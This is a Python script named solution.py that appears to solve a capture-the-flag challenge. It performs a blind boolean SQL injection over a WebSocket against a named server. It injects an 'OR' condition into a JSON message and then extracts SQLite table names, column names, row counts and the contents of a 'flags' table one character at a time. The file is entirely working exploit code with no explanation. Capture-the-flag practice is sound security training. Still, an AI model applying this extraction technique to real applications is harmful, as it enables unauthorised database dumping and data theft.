solution.py

from websocket import create_connection
import json
template = [1,1,"3 OR "]
table_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_"
data_chars = table_chars + "-/:;()$&@\"\\[]{}#%^*+=|~<>€£¥•.,?!'"
def send_test(ws, test):
    test_arr = template[:]
    test_arr[2] += test
    ws.send(json.dumps(test_arr))
    r = ws.recv()
    return r == 'true'

def get_number_of_tables(ws):
    i = 0
    while True:
        if send_test(ws, f"(SELECT COUNT(*) FROM sqlite_master WHERE type='table')={i}"):
            return i
        i += 1

def get_table_names(ws, starting_point = ""):
    out = []
    hit = False
    left_len = len(starting_point) + 1
    for c in table_chars:
        if send_test(ws, f"EXISTS(SELECT * FROM sqlite_master WHERE type = 'table' AND SUBSTR(name, 1, {left_len}) = '{starting_point + c}')"):
            out += get_table_names(ws, starting_point + c)
            hit = True
    if not hit:
        out.append(starting_point)
    return out

def get_column_names(ws, table_name, starting_point = ""):
    out = []
    hit = False
    left_len = len(starting_point) + 1
    for c in table_chars:
        if send_test(ws, f"EXISTS(SELECT * FROM PRAGMA_TABLE_INFO('{table_name}') WHERE SUBSTR(name, 1, {left_len}) = '{starting_point + c}')"):
            out += get_column_names(ws, table_name, starting_point + c)
            hit = True
    if not hit:
        out.append(starting_point)
    return out

def get_rows(ws, table_name):
    i = 0
    while True:
        if send_test(ws, f"(SELECT COUNT(*) FROM {table_name})={i}"):
            return i
        i += 1

def get_flag_data(ws, table_name, col_name, starting_point=""):
    out = []
    hit = False
    left_len = len(starting_point) + 1
    for c in data_chars:
        if send_test(ws, f"EXISTS(SELECT * FROM {table_name} WHERE SUBSTR({col_name}, 1, {left_len}) = '{starting_point + c}')"):
            out += get_flag_data(ws, table_name, col_name, starting_point + c)
            hit = True
    if not hit:
        out.append(starting_point)
    return out

def main():
    ws = create_connection("ws://vader.csh.rit.edu:8000/ws/")
    num_tables = get_number_of_tables(ws)
    print(f"There are {num_tables} tables")
    tables = get_table_names(ws)
    print(f"The table names are {tables}")
    for table in tables:
        cols = get_column_names(ws, table)
        print(f"The columns for {table} are {cols}")
        rows = get_rows(ws, table)
        print(f"There are {rows} rows in {table}")
    flag_data = get_flag_data(ws, "flags", "flag")
    print(f"Flag data is {flag_data}")

if __name__ == "__main__":
    main()